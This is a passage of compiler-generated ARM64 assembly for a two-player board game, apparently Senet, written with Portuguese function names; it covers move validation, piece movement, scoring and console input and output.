[sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-8] ; 8-byte Folded Reload ldrsw x9, [x9] ldrsb w10, [x8, x9] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB3_11 LBB3_11: ; in Loop: Header=BB3_9 Depth=1 ldur x9, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB3_9 LBB3_12: ldur x9, [x29, #-8] ; 8-byte Folded Reload mov w8, #25 str w8, [x9] b LBB3_13 LBB3_13: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #30 cset w8, ge tbnz w8, #0, LBB3_19 b LBB3_14 LBB3_14: ; in Loop: Header=BB3_13 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-8] ; 8-byte Folded Reload ldrsw x9, [x9] ldrsb w8, [x8, x9] subs w8, w8, #32 cset w8, ne tbnz w8, #0, LBB3_16 b LBB3_15 LBB3_15: ; in Loop: Header=BB3_13 Depth=1 ldur x8, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x8] add w10, w8, #40 mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB3_17 LBB3_16: ; in Loop: Header=BB3_13 Depth=1 ldr x8, [sp, #16] ; 8-byte Folded Reload ldur x9, [x29, #-8] ; 8-byte Folded Reload ldrsw x9, [x9] ldrsb w10, [x8, x9] mov x9, sp ; implicit-def: $x8 mov x8, x10 str x8, [x9] adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf b LBB3_17 LBB3_17: ; in Loop: Header=BB3_13 Depth=1 b LBB3_18 LBB3_18: ; in Loop: Header=BB3_13 Depth=1 ldur x9, [x29, #-8] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB3_13 LBB3_19: adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf adrp x8, _pe@GOTPAGE ldr x8, [x8, _pe@GOTPAGEOFF] ldrsb w11, [x8] adrp x8, _ope@GOTPAGE ldr x8, [x8, _ope@GOTPAGEOFF] ldrsb w10, [x8] mov x9, sp ; implicit-def: $x8 mov x8, x11 str x8, [x9] ; implicit-def: $x8 mov x8, x10 str x8, [x9, #8] adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _printf adrp x8, _player1@PAGE ldr w8, [x8, _player1@PAGEOFF] ; implicit-def: $x10 mov x10, x8 adrp x8, _player2@PAGE ldr w9, [x8, _player2@PAGEOFF] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _conferePri ; -- Begin function conferePri .p2align 2 _conferePri: ; @conferePri .cfi_startproc ; %bb.0: sub sp, sp, #16 .cfi_def_cfa_offset 16 adrp x8, _i@GOTPAGE ldr x8, [x8, _i@GOTPAGEOFF] str x8, [sp] ; 8-byte Folded Spill strb w0, [sp, #11] str wzr, [x8] b LBB4_1 LBB4_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #10 cset w8, ge tbnz w8, #0, LBB4_6 b LBB4_2 LBB4_2: ; in Loop: Header=BB4_1 Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldrsw x9, [x8] adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] ldrsb w8, [x8, x9] ldrsb w9, [sp, #11] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB4_4 b LBB4_3 LBB4_3: mov w8, #1 str w8, [sp, #12] b LBB4_7 LBB4_4: ; in Loop: Header=BB4_1 Depth=1 b LBB4_5 LBB4_5: ; in Loop: Header=BB4_1 Depth=1 ldr x9, [sp] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB4_1 LBB4_6: str wzr, [sp, #12] b LBB4_7 LBB4_7: ldr w0, [sp, #12] add sp, sp, #16 ret .cfi_endproc ; -- End function .globl _verificaMovimento ; -- Begin function verificaMovimento .p2align 2 _verificaMovimento: ; @verificaMovimento .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] str x8, [sp] ; 8-byte Folded Spill adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill adrp x8, _pe@GOTPAGE ldr x8, [x8, _pe@GOTPAGEOFF] str x8, [sp, #16] ; 8-byte Folded Spill adrp x8, _ope@GOTPAGE ldr x8, [x8, _ope@GOTPAGEOFF] str x8, [sp, #24] ; 8-byte Folded Spill stur w0, [x29, #-8] stur w1, [x29, #-12] ldur w8, [x29, #-8] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB5_2 b LBB5_1 LBB5_1: ldur w8, [x29, #-8] subs w8, w8, #29 cset w8, le tbnz w8, #0, LBB5_3 b LBB5_2 LBB5_2: mov w8, #1 stur w8, [x29, #-4] b LBB5_32 LBB5_3: ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB5_5 b LBB5_4 LBB5_4: ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldursw x10, [x29, #-8] ldrsb w8, [x8, x10] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB5_7 b LBB5_5 LBB5_5: ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB5_8 b LBB5_6 LBB5_6: ldr x9, [sp, #24] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldursw x10, [x29, #-8] ldrsb w8, [x8, x10] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB5_8 b LBB5_7 LBB5_7: mov w8, #1 stur w8, [x29, #-4] b LBB5_32 LBB5_8: ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB5_10 b LBB5_9 LBB5_9: ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB5_12 b LBB5_10 LBB5_10: ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB5_13 b LBB5_11 LBB5_11: ldr x9, [sp, #24] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB5_13 b LBB5_12 LBB5_12: mov w8, #1 stur w8, [x29, #-4] b LBB5_32 LBB5_13: ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB5_17 b LBB5_14 LBB5_14: ldr x9, [sp, #24] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB5_17 b LBB5_15 LBB5_15: ldr x9, [sp, #24] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 subs w10, w10, #1 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB5_21 b LBB5_16 LBB5_16: ldr x9, [sp, #24] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 add w10, w10, #1 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB5_21 b LBB5_17 LBB5_17: ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB5_22 b LBB5_18 LBB5_18: ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB5_22 b LBB5_19 LBB5_19: ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 subs w10, w10, #1 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB5_21 b LBB5_20 LBB5_20: ldr x9, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w10, [x29, #-8] ldur w11, [x29, #-12] add w10, w10, w11 add w10, w10, #1 ldrsb w8, [x8, w10, sxtw] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB5_22 b LBB5_21 LBB5_21: mov w8, #1 stur w8, [x29, #-4] b LBB5_32 LBB5_22: ldur w8, [x29, #-8] ldur w9, [x29, #-12] add w8, w8, w9 subs w8, w8, #25 cset w8, eq tbnz w8, #0, LBB5_25 b LBB5_23 LBB5_23: ldur w8, [x29, #-8] ldur w9, [x29, #-12] add w8, w8, w9 subs w8, w8, #27 cset w8, eq tbnz w8, #0, LBB5_25 b LBB5_24 LBB5_24: ldur w8, [x29, #-8] ldur w9, [x29, #-12] add w8, w8, w9 subs w8, w8, #28 cset w8, ne tbnz w8, #0, LBB5_27 b LBB5_25 LBB5_25: ldr x8, [sp, #8] ; 8-byte Folded Reload ldur w9, [x29, #-8] ldur w10, [x29, #-12] add w9, w9, w10 ldrsb w8, [x8, w9, sxtw] subs w8, w8, #32 cset w8, eq tbnz w8, #0, LBB5_27 b LBB5_26 LBB5_26: mov w8, #1 stur w8, [x29, #-4] b LBB5_32 LBB5_27: ldur w8, [x29, #-8] ldur w9, [x29, #-12] add w8, w8, w9 subs w8, w8, #29 cset w8, le tbnz w8, #0, LBB5_31 b LBB5_28 LBB5_28: ldr x9, [sp, #8] ; 8-byte Folded Reload ldrsb w8, [x9, #29] ldursw x10, [x29, #-8] ldrsb w9, [x9, x10] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB5_31 b LBB5_29 LBB5_29: ldr x8, [sp, #8] ; 8-byte Folded Reload ldursw x9, [x29, #-8] ldrsb w0, [x8, x9] bl _conferePri subs w8, w0, #1 cset w8, ne tbnz w8, #0, LBB5_31 b LBB5_30 LBB5_30: mov w8, #1 stur w8, [x29, #-4] b LBB5_32 LBB5_31: stur wzr, [x29, #-4] b LBB5_32 LBB5_32: ldur w0, [x29, #-4] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _testaMovimento ; -- Begin function testaMovimento .p2align 2 _testaMovimento: ; @testaMovimento .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _i@GOTPAGE ldr x8, [x8, _i@GOTPAGEOFF] str x8, [sp] ; 8-byte Folded Spill str w0, [sp, #8] str wzr, [x8] b LBB6_1 LBB6_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #30 cset w8, ge tbnz w8, #0, LBB6_10 b LBB6_2 LBB6_2: ; in Loop: Header=BB6_1 Depth=1 adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB6_4 b LBB6_3 LBB6_3: ; in Loop: Header=BB6_1 Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldrsw x9, [x8] adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] ldrsb w8, [x8, x9] adrp x9, _pe@GOTPAGE ldr x9, [x9, _pe@GOTPAGEOFF] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB6_6 b LBB6_4 LBB6_4: ; in Loop: Header=BB6_1 Depth=1 adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB6_8 b LBB6_5 LBB6_5: ; in Loop: Header=BB6_1 Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldrsw x9, [x8] adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] ldrsb w8, [x8, x9] adrp x9, _ope@GOTPAGE ldr x9, [x9, _ope@GOTPAGEOFF] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB6_8 b LBB6_6 LBB6_6: ; in Loop: Header=BB6_1 Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldr w0, [x8] ldr w1, [sp, #8] bl _verificaMovimento subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB6_8 b LBB6_7 LBB6_7: stur wzr, [x29, #-4] b LBB6_11 LBB6_8: ; in Loop: Header=BB6_1 Depth=1 b LBB6_9 LBB6_9: ; in Loop: Header=BB6_1 Depth=1 ldr x9, [sp] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB6_1 LBB6_10: mov w8, #1 stur w8, [x29, #-4] b LBB6_11 LBB6_11: ldur w0, [x29, #-4] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _move ; -- Begin function move .p2align 2 _move: ; @move .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] str x8, [sp] ; 8-byte Folded Spill adrp x8, _j@GOTPAGE ldr x8, [x8, _j@GOTPAGEOFF] str x8, [sp, #8] ; 8-byte Folded Spill stur w0, [x29, #-4] stur w1, [x29, #-8] ldur w8, [x29, #-4] ldur w9, [x29, #-8] add w8, w8, w9 subs w8, w8, #26 cset w8, ne tbnz w8, #0, LBB7_8 b LBB7_1 LBB7_1: ldr x8, [sp] ; 8-byte Folded Reload ldrsb w8, [x8, #14] subs w8, w8, #32 cset w8, ne tbnz w8, #0, LBB7_3 b LBB7_2 LBB7_2: ldr x9, [sp] ; 8-byte Folded Reload ldursw x10, [x29, #-4] mov x8, x9 add x8, x8, x10 ldrb w8, [x8] strb w8, [x9, #14] b LBB7_7 LBB7_3: ldr x9, [sp, #8] ; 8-byte Folded Reload ldur w8, [x29, #-8] str w8, [x9] b LBB7_4 LBB7_4: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp] ; 8-byte Folded Reload ldr x9, [sp, #8] ; 8-byte Folded Reload ldrsw x9, [x9] ldrsb w8, [x8, x9] subs w8, w8, #32 cset w8, eq tbnz w8, #0, LBB7_6 b LBB7_5 LBB7_5: ; in Loop: Header=BB7_4 Depth=1 ldr x9, [sp, #8] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB7_4 LBB7_6: ldr x9, [sp] ; 8-byte Folded Reload ldr x10, [sp, #8] ; 8-byte Folded Reload ldursw x11, [x29, #-4] mov x8, x9 add x8, x8, x11 ldrb w8, [x8] ldrsw x10, [x10] add x9, x9, x10 strb w8, [x9] b LBB7_7 LBB7_7: ldr x8, [sp] ; 8-byte Folded Reload ldursw x9, [x29, #-4] add x9, x8, x9 mov w8, #32 strb w8, [x9] b LBB7_8 LBB7_8: ldur w8, [x29, #-4] ldur w9, [x29, #-8] add w8, w8, w9 subs w8, w8, #29 cset w8, lt tbnz w8, #0, LBB7_19 b LBB7_9 LBB7_9: ldr x8, [sp] ; 8-byte Folded Reload ldursw x9, [x29, #-4] ldrsb w0, [x8, x9] bl _conferePri subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB7_15 b LBB7_10 LBB7_10: ldr x8, [sp] ; 8-byte Folded Reload ldursw x9, [x29, #-4] add x9, x8, x9 mov w8, #32 strb w8, [x9] adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB7_12 b LBB7_11 LBB7_11: adrp x9, _player1@PAGE ldr w8, [x9, _player1@PAGEOFF] add w8, w8, #1 str w8, [x9, _player1@PAGEOFF] b LBB7_12 LBB7_12: adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB7_14 b LBB7_13 LBB7_13: adrp x9, _player2@PAGE ldr w8, [x9, _player2@PAGEOFF] add w8, w8, #1 str w8, [x9, _player2@PAGEOFF] b LBB7_14 LBB7_14: b LBB7_18 LBB7_15: ldr x9, [sp] ; 8-byte Folded Reload ldrsb w8, [x9, #29] ldursw x10, [x29, #-4] ldrsb w9, [x9, x10] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB7_17 b LBB7_16 LBB7_16: ldr x9, [sp] ; 8-byte Folded Reload ldursw x10, [x29, #-4] mov x8, x9 add x8, x8, x10 ldrb w8, [x8] sturb w8, [x29, #-9] ldrb w8, [x9, #29] ldursw x11, [x29, #-4] mov x10, x9 add x10, x10, x11 strb w8, [x10] ldurb w8, [x29, #-9] strb w8, [x9, #29] b LBB7_17 LBB7_17: b LBB7_18 LBB7_18: b LBB7_19 LBB7_19: ldur w8, [x29, #-4] ldur w9, [x29, #-8] add w8, w8, w9 subs w8, w8, #29 cset w8, ge tbnz w8, #0, LBB7_22 b LBB7_20 LBB7_20: ldur w8, [x29, #-4] ldur w9, [x29, #-8] add w8, w8, w9 subs w8, w8, #26 cset w8, eq tbnz w8, #0, LBB7_22 b LBB7_21 LBB7_21: ldr x9, [sp] ; 8-byte Folded Reload ldursw x10, [x29, #-4] mov x8, x9 add x8, x8, x10 ldrb w8, [x8] sturb w8, [x29, #-9] ldur w8, [x29, #-4] ldur w10, [x29, #-8] add w8, w8, w10 add x8, x9, w8, sxtw ldrb w8, [x8] ldursw x11, [x29, #-4] mov x10, x9 add x10, x10, x11 strb w8, [x10] ldurb w8, [x29, #-9] ldur w10, [x29, #-4] ldur w11, [x29, #-8] add w10, w10, w11 add x9, x9, w10, sxtw strb w8, [x9] b LBB7_22 LBB7_22: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _movimento ; -- Begin function movimento .p2align 2 _movimento: ; @movimento .cfi_startproc ; %bb.0: sub sp, sp, #80 .cfi_def_cfa_offset 80 stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _jogador@GOTPAGE ldr x8, [x8, _jogador@GOTPAGEOFF] str x8, [sp, #32] ; 8-byte Folded Spill adrp x8, _i@GOTPAGE ldr x8, [x8, _i@GOTPAGEOFF] stur x8, [x29, #-24] ; 8-byte Folded Spill bl _sorteiaEstilete stur w0, [x29, #-12] adrp x8, _vez@PAGE ldr w8, [x8, _vez@PAGEOFF] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB8_11 b LBB8_1 LBB8_1: ldur x9, [x29, #-24] ; 8-byte Folded Reload mov w8, #9 str w8, [x9] b LBB8_2 LBB8_2: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #0 cset w8, lt tbnz w8, #0, LBB8_10 b LBB8_3 LBB8_3: ; in Loop: Header=BB8_2 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB8_5 b LBB8_4 LBB8_4: ; in Loop: Header=BB8_2 Depth=1 ldur x8, [x29, #-24] ; 8-byte Folded Reload ldrsw x9, [x8] adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] ldrsb w8, [x8, x9] adrp x9, _pe@GOTPAGE ldr x9, [x9, _pe@GOTPAGEOFF] ldrsb w9, [x9] subs w8, w8, w9 cset w8, eq tbnz w8, #0, LBB8_7 b LBB8_5 LBB8_5: ; in Loop: Header=BB8_2 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #2 cset w8, ne tbnz w8, #0, LBB8_8 b LBB8_6 LBB8_6: ; in Loop: Header=BB8_2 Depth=1 ldur x8, [x29, #-24] ; 8-byte Folded Reload ldrsw x9, [x8] adrp x8, _m@GOTPAGE ldr x8, [x8, _m@GOTPAGEOFF] ldrsb w8, [x8, x9] adrp x9, _ope@GOTPAGE ldr x9, [x9, _ope@GOTPAGEOFF] ldrsb w9, [x9] subs w8, w8, w9 cset w8, ne tbnz w8, #0, LBB8_8 b LBB8_7 LBB8_7: ldur x8, [x29, #-24] ; 8-byte Folded Reload ldr w0, [x8] ldur w1, [x29, #-12] bl _move bl _tabuleiro b LBB8_10 LBB8_8: ; in Loop: Header=BB8_2 Depth=1 b LBB8_9 LBB8_9: ; in Loop: Header=BB8_2 Depth=1 ldur x9, [x29, #-24] ; 8-byte Folded Reload ldr w8, [x9] subs w8, w8, #1 str w8, [x9] b LBB8_2 LBB8_10: adrp x9, _vez@PAGE ldr w8, [x9, _vez@PAGEOFF] add w8, w8, #1 str w8, [x9, _vez@PAGEOFF] b LBB8_36 LBB8_11: ldur w0, [x29, #-12] bl _testaMovimento subs w8, w0, #1 cset w8, ne tbnz w8, #0, LBB8_16 b LBB8_12 LBB8_12: adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB8_14 b LBB8_13 LBB8_13: ldr x9, [sp, #32] ; 8-byte Folded Reload mov w8, #2 str w8, [x9] b LBB8_15 LBB8_14: ldr x9, [sp, #32] ; 8-byte Folded Reload mov w8, #1 str w8, [x9] b LBB8_15 LBB8_15: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w8, [x8] ; implicit-def: $x10 mov x10, x8 adrp x8, _vez@PAGE ldr w9, [x8, _vez@PAGEOFF] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.16@PAGE add x0, x0, l_.str.16@PAGEOFF bl _printf b LBB8_36 LBB8_16: b LBB8_17 LBB8_17: ; =>This Loop Header: Depth=1 ; Child Loop BB8_24 Depth 2 ldur w8, [x29, #-12] subs w8, w8, #1 cset w8, eq tbnz w8, #0, LBB8_20 b LBB8_18 LBB8_18: ; in Loop: Header=BB8_17 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #4 cset w8, eq tbnz w8, #0, LBB8_20 b LBB8_19 LBB8_19: ; in Loop: Header=BB8_17 Depth=1 ldur w8, [x29, #-12] subs w8, w8, #6 cset w8, ne mov w9, #0 str w9, [sp, #28] ; 4-byte Folded Spill tbnz w8, #0, LBB8_22 b LBB8_20 LBB8_20: ; in Loop: Header=BB8_17 Depth=1 adrp x8, _player1@PAGE ldr w8, [x8, _player1@PAGEOFF] subs w8, w8, #5 cset w8, ge mov w9, #0 str w9, [sp, #28] ; 4-byte Folded Spill tbnz w8, #0, LBB8_22 b LBB8_21 LBB8_21: ; in Loop: Header=BB8_17 Depth=1 adrp x8, _player2@PAGE ldr w8, [x8, _player2@PAGEOFF] subs w8, w8, #5 cset w8, lt str w8, [sp, #28] ; 4-byte Folded Spill b LBB8_22 LBB8_22: ; in Loop: Header=BB8_17 Depth=1 ldr w8, [sp, #28] ; 4-byte Folded Reload tbz w8, #0, LBB8_27 b LBB8_23 LBB8_23: ; in Loop: Header=BB8_17 Depth=1 ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _printf adrp x0, l_.str.19@PAGE add x0, x0, l_.str.19@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.20@PAGE add x0, x0, l_.str.20@PAGEOFF bl _scanf b LBB8_24 LBB8_24: ; Parent Loop BB8_17 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w0, [x29, #-8] ldur w1, [x29, #-12] bl _verificaMovimento subs w8, w0, #1 cset w8, ne tbnz w8, #0, LBB8_26 b LBB8_25 LBB8_25: ; in Loop: Header=BB8_24 Depth=2 bl _tabuleiro ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _printf adrp x0, l_.str.21@PAGE add x0, x0, l_.str.21@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.20@PAGE add x0, x0, l_.str.20@PAGEOFF bl _scanf b LBB8_24 LBB8_26: ; in Loop: Header=BB8_17 Depth=1 ldur w0, [x29, #-8] ldur w1, [x29, #-12] bl _move bl _tabuleiro bl _sorteiaEstilete stur w0, [x29, #-12] b LBB8_17 LBB8_27: adrp x8, _player1@PAGE ldr w8, [x8, _player1@PAGEOFF] subs w8, w8, #5 cset w8, ge tbnz w8, #0, LBB8_29 b LBB8_28 LBB8_28: adrp x8, _player2@PAGE ldr w8, [x8, _player2@PAGEOFF] subs w8, w8, #5 cset w8, lt tbnz w8, #0, LBB8_30 b LBB8_29 LBB8_29: b LBB8_36 LBB8_30: ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _printf adrp x0, l_.str.19@PAGE add x0, x0, l_.str.19@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.20@PAGE add x0, x0, l_.str.20@PAGEOFF bl _scanf b LBB8_31 LBB8_31: ; =>This Inner Loop Header: Depth=1 ldur w0, [x29, #-8] ldur w1, [x29, #-12] bl _verificaMovimento subs w8, w0, #1 cset w8, ne tbnz w8, #0, LBB8_33 b LBB8_32 LBB8_32: ; in Loop: Header=BB8_31 Depth=1 bl _tabuleiro ldr x8, [sp, #32] ; 8-byte Folded Reload ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.17@PAGE add x0, x0, l_.str.17@PAGEOFF bl _printf ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.18@PAGE add x0, x0, l_.str.18@PAGEOFF bl _printf adrp x0, l_.str.21@PAGE add x0, x0, l_.str.21@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.20@PAGE add x0, x0, l_.str.20@PAGEOFF bl _scanf b LBB8_31 LBB8_33: ldur w0, [x29, #-8] ldur w1, [x29, #-12] bl _move bl _tabuleiro ldr x8, [sp, #32] ; 8-byte Folded Reload adrp x10, _vez@PAGE ldr w9, [x10, _vez@PAGEOFF] add w9, w9, #1 str w9, [x10, _vez@PAGEOFF] ldr w8, [x8] subs w8, w8, #1 cset w8, ne tbnz w8, #0, LBB8_35 b LBB8_34 LBB8_34: ldr x9, [sp, #32] ; 8-byte Folded Reload mov w8, #2 str w8, [x9] b LBB8_36 